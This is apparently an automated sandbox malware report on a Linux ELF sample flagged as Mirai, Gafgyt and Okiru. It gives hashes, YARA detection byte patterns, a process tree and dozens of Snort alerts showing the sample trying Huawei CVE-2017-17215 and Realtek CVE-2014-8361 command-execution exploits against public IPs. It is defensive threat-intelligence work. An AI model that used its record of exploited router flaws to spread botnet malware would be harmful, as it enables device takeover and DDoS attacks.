Edit tour

Linux Analysis Report
ts2d2a5oFa.elf

Overview

General Information

Sample name:	ts2d2a5oFa.elf renamed because original name is a hash value
Original sample name:	5c7d99c71f2d1bbce41424c99f428ed2.elf
Analysis ID:	1477276
MD5:	5c7d99c71f2d1bbce41424c99f428ed2
SHA1:	c2c3be77d904b466fc9c70dc5224872159192663
SHA256:	30f0ba9adc6f1932b6fb80cffc5f35a58cd75a80f7c3fcb06d7cfbce9ebe3799
Tags:	32elfgafgytmotorola
Infos:

Detection

Mirai, Gafgyt, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Gafgyt

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1477276
Start date and time:	2024-07-20 23:00:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	ts2d2a5oFa.elf renamed because original name is a hash value
Original Sample Name:	5c7d99c71f2d1bbce41424c99f428ed2.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/3@8/0

Warnings

Connection to analysis system has been lost, crash info: Unknown
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/ts2d2a5oFa.elf
PID:	5437
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

ts2d2a5oFa.elf (PID: 5437, Parent: 5360, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/ts2d2a5oFa.elf

ts2d2a5oFa.elf New Fork (PID: 5439, Parent: 5437)

ts2d2a5oFa.elf New Fork (PID: 5441, Parent: 5439)

ts2d2a5oFa.elf New Fork (PID: 5443, Parent: 5439)

ts2d2a5oFa.elf New Fork (PID: 5445, Parent: 5439)

ts2d2a5oFa.elf New Fork (PID: 5446, Parent: 5439)

ts2d2a5oFa.elf New Fork (PID: 5448, Parent: 5439)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ts2d2a5oFa.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
ts2d2a5oFa.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
ts2d2a5oFa.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
ts2d2a5oFa.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
ts2d2a5oFa.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
ts2d2a5oFa.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x24368:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2437c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24390:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5437.1.00007f16a4001000.00007f16a4029000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x24368:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2437c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24390:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x243f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x244f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ts2d2a5oFa.elf PID: 5437	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: ts2d2a5oFa.elf PID: 5437	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ts2d2a5oFa.elf PID: 5437	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: ts2d2a5oFa.elf PID: 5437	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: ts2d2a5oFa.elf PID: 5437	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x8099:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x80ad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x80c1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x80d5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x80e9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x80fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8111:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8125:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8139:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x814d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8161:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8175:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8189:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x819d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x81b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x81c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x81d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x81ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8201:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8215:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8229:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 6 entries

Snort Signatures

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 18.101.167.39

Timestamp:	07/20/24-23:01:14.516654
SID:	2831300
Source Port:	47970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.170.138.193

Timestamp:	07/20/24-23:01:27.297470
SID:	2829579
Source Port:	49398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.140.44.33

Timestamp:	07/20/24-23:01:06.812618
SID:	2835222
Source Port:	49304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.197.183.19

Timestamp:	07/20/24-23:01:06.820921
SID:	2835222
Source Port:	45000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.109.166.112

Timestamp:	07/20/24-23:00:59.022751
SID:	2835222
Source Port:	57056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.141.29.177

Timestamp:	07/20/24-23:01:02.607205
SID:	2835222
Source Port:	36476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.156.52.27

Timestamp:	07/20/24-23:01:27.226586
SID:	2835222
Source Port:	43572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 148.238.53.45

Timestamp:	07/20/24-23:01:19.586614
SID:	2027339
Source Port:	45182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 9.155.213.68

Timestamp:	07/20/24-23:01:06.343282
SID:	2027339
Source Port:	51742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.195.203.155

Timestamp:	07/20/24-23:01:22.738019
SID:	2829579
Source Port:	45424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.164.74.99

Timestamp:	07/20/24-23:01:27.229449
SID:	2829579
Source Port:	43740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.239.57

Timestamp:	07/20/24-23:01:04.858015
SID:	2829579
Source Port:	55316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.246.231

Timestamp:	07/20/24-23:01:06.801544
SID:	2835222
Source Port:	36954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.39.99.25

Timestamp:	07/20/24-23:01:08.369553
SID:	2835222
Source Port:	33370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.6.220.227

Timestamp:	07/20/24-23:01:36.799485
SID:	2835222
Source Port:	45476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.7.176.177

Timestamp:	07/20/24-23:01:27.204639
SID:	2829579
Source Port:	36970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.34.28.229

Timestamp:	07/20/24-23:00:59.019910
SID:	2835222
Source Port:	49448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.124.41.173

Timestamp:	07/20/24-23:01:14.998444
SID:	2835222
Source Port:	48702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.157.73.107

Timestamp:	07/20/24-23:01:36.787101
SID:	2835222
Source Port:	60860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 154.241.18.163

Timestamp:	07/20/24-23:01:14.542240
SID:	2831300
Source Port:	57976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.17.10.227

Timestamp:	07/20/24-23:01:04.855996
SID:	2835222
Source Port:	41752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 27.117.118.67

Timestamp:	07/20/24-23:01:04.597721
SID:	2025132
Source Port:	35790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.236.26.155

Timestamp:	07/20/24-23:01:02.678688
SID:	2829579
Source Port:	58604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 188.71.38.105

Timestamp:	07/20/24-23:01:20.436074
SID:	2025132
Source Port:	44146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 1.100.100.157

Timestamp:	07/20/24-23:01:32.259330
SID:	2829579
Source Port:	59440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.33.104.162

Timestamp:	07/20/24-23:01:12.504870
SID:	2829579
Source Port:	56734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 196.108.28.41

Timestamp:	07/20/24-23:00:59.022586
SID:	2829579
Source Port:	41912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.71.160.191

Timestamp:	07/20/24-23:01:04.908543
SID:	2829579
Source Port:	39118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 84.175.23.63

Timestamp:	07/20/24-23:01:21.675919
SID:	2025132
Source Port:	39482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.158.160.89

Timestamp:	07/20/24-23:01:27.229449
SID:	2835222
Source Port:	44440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.48.206.157

Timestamp:	07/20/24-23:00:59.020716
SID:	2829579
Source Port:	56970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.233.230.86

Timestamp:	07/20/24-23:01:36.787101
SID:	2829579
Source Port:	58900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 158.159.28.203

Timestamp:	07/20/24-23:01:04.994187
SID:	2025132
Source Port:	41804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 125.85.149.118

Timestamp:	07/20/24-23:01:25.391404
SID:	2835222
Source Port:	60716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 24.166.198.46

Timestamp:	07/20/24-23:01:06.159043
SID:	2027339
Source Port:	49820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.243.47.143

Timestamp:	07/20/24-23:01:36.850220
SID:	2829579
Source Port:	46086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.15.229.242

Timestamp:	07/20/24-23:01:27.352822
SID:	2027339
Source Port:	58344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 23.86.160.85

Timestamp:	07/20/24-23:01:14.523933
SID:	2831300
Source Port:	36116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.38.36

Timestamp:	07/20/24-23:00:59.023193
SID:	2829579
Source Port:	50670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 88.21.18.99

Timestamp:	07/20/24-23:01:06.798722
SID:	2835222
Source Port:	37822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 87.172.255.48

Timestamp:	07/20/24-23:01:25.388755
SID:	2829579
Source Port:	43644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.68.253.229

Timestamp:	07/20/24-23:01:25.397771
SID:	2835222
Source Port:	60550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.198.177.151

Timestamp:	07/20/24-23:01:32.248799
SID:	2835222
Source Port:	35022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.53.199

Timestamp:	07/20/24-23:01:25.404749
SID:	2835222
Source Port:	40624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 171.117.89.236

Timestamp:	07/20/24-23:01:06.121824
SID:	2025132
Source Port:	40936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 116.119.255.178

Timestamp:	07/20/24-23:02:10.892680
SID:	2027339
Source Port:	34326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

